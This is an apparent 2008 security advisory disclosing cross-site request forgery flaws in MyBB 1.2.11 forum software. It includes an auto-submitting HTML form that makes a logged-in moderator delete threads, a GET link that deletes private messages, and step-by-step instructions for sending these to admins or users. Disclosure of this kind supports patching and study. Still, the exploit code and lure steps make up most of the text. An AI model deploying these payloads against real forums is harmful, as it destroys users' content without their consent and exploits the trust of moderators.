MyBB 1.2.11 Multiple XSRF Vulnerabilities

2008.02.15
Credit: nbbn
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#################################################### Founded: 18, January 2008 Founder: nbbn MyBB Version: 1.2.11 and lower Type: Multiple XSRF Vulnerabilities #################################################### ####1) Delete Threads XSRF Vulnerabilitie: <html> <head> </head> <body onLoad="javascript:document.formular.submit()"> <form action="http://localhost/xampp/mybb/moderation.php" method="post" name="formular"> <input type="hidden" name="action" value="do_multideletethreads" /> <input type="hidden" name="fid" value="2" /> <!-- forumid --> <input type="hidden" name="threads" value="15|14" /> <!-- threadids --> <input type="submit" value="Delete Threads" /> </form> </body> </html> ###Poc: 1. Create a .html file and copy the code into it. 2. Upload the file and now send the link to an admin or moderator 3. Done ####2) Delete PM's XSRF Vuln: This one is only doing via GET and no question: http://localhost/xampp/mybb/private.php?action=delete&pmid=3 ###Poc: (An easy way): 1. Send to a user this link: http://localhost/xampp/mybb/private.php?action=delete&pmid=3 2. Done


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